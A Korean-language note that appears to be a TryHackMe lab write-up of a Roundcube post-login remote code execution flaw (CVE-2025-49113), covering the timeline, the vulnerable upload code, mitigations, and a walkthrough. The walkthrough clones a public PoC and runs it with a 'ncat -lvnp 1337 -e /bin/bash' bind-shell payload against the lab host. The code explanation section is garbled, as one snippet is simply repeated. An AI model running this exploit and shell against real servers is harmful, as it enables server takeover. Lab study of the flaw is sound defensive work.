RCE in Roundcube (CVE-2025-49113) - 내 Obsidian 노트 .md

Status: 완료

Lab: 쉬움

태그: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

by KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script

영향: 로그인 후 원격 명령 실행 (CVSS 9.9)
영향받는 버전: ≤ 1.5.10 / 1.6.10
패치됨: 1.5.11 및 1.6.11

1 – 타임라인

날짜	이벤트
~2014	`program/actions/settings/upload.php`에 `session->append()`를 사용하는 경로 도입, 검증 없음.
2025년 6월 3일	@FearsOff의 연구원들이 권고를 게시하고 PoC를 발표.
2025년 6월 4일	Roundcube가 커밋 0376f69 (1.6-stable) 및 커밋 7408f31 (1.5-lts)를 적용.
2025년 6월 6일	PoC가 github에 게시됨. (fearsoff-org/CVE-2025-49113)
2025년 6월 10일	대규모 악용.

2 – 문제가 있었던 곳

취약한 코드 (1.6.10)

// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … 더 아래
$rcmail->session->append($type . '.files', $id, $attachment);

_from 입력이 GET에서 완전히 들어온 후 세션 노드 이름의 일부가 되고,
첫 번째 append() 중에 Roundcube는 다음을 수행합니다:

// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … 더 아래

$rcmail->session->append($type . '.files', $id, $attachment);

파일이 존재하면 RCE가 작동합니다.

3 – 완화 조치

업데이트 즉시 1.6.11 이상 또는 1.5.11 이상으로 업데이트하세요.
업데이트할 수 없는 경우 WAF, 방화벽 또는 rewrite를 통해 %22, %7C, !, . 또는 제어 바이트가 포함된 _from을 차단하세요.
php.ini에서 위험한 함수(proc_open, exec 등)를 비활성화하세요.
설정 패널에서 업로드를 차단하고 로그를 모니터링하세요.

4 – Lab - TryHackme - WriteUp

무료 룸: https://tryhackme.com/room/roundcubecve202549113

tryhackme & strategos 제작

1. 정찰

VM(MACHINE_IP)과 AttackBox를 엽니다.
http://MACHINE_IP/roundcube에 다음으로 접속합니다:

사용자: ellieptic 비밀번호: ChangeMe123

정상 작동하며 정상적으로 로그인됩니다:

2. 익스플로잇 구성

모든 것이 정상 작동하는지 확인한 후, 앞서 언급한 github에 게시된 PoC에 접속하여 gitclone을 수행합니다:

mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit

3. 페이로드 준비

페이로드 사용법은 간단합니다. 아래 사용법에 따라 bind shell을 생성하고 .php 파일로 포트를 지정하면 됩니다:

php CVE-2025-49113.php <사이트> <사용자> <비밀번호> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– 스크립트가 로그인하고, 앞서 설명한 대로 _from 매개변수에 악성 PHP 객체를 주입하며, upload.php 엔드포인트를 호출한 다음 로그아웃을 강제하여 session_decode() → unserialize() → proc_open()을 트리거합니다.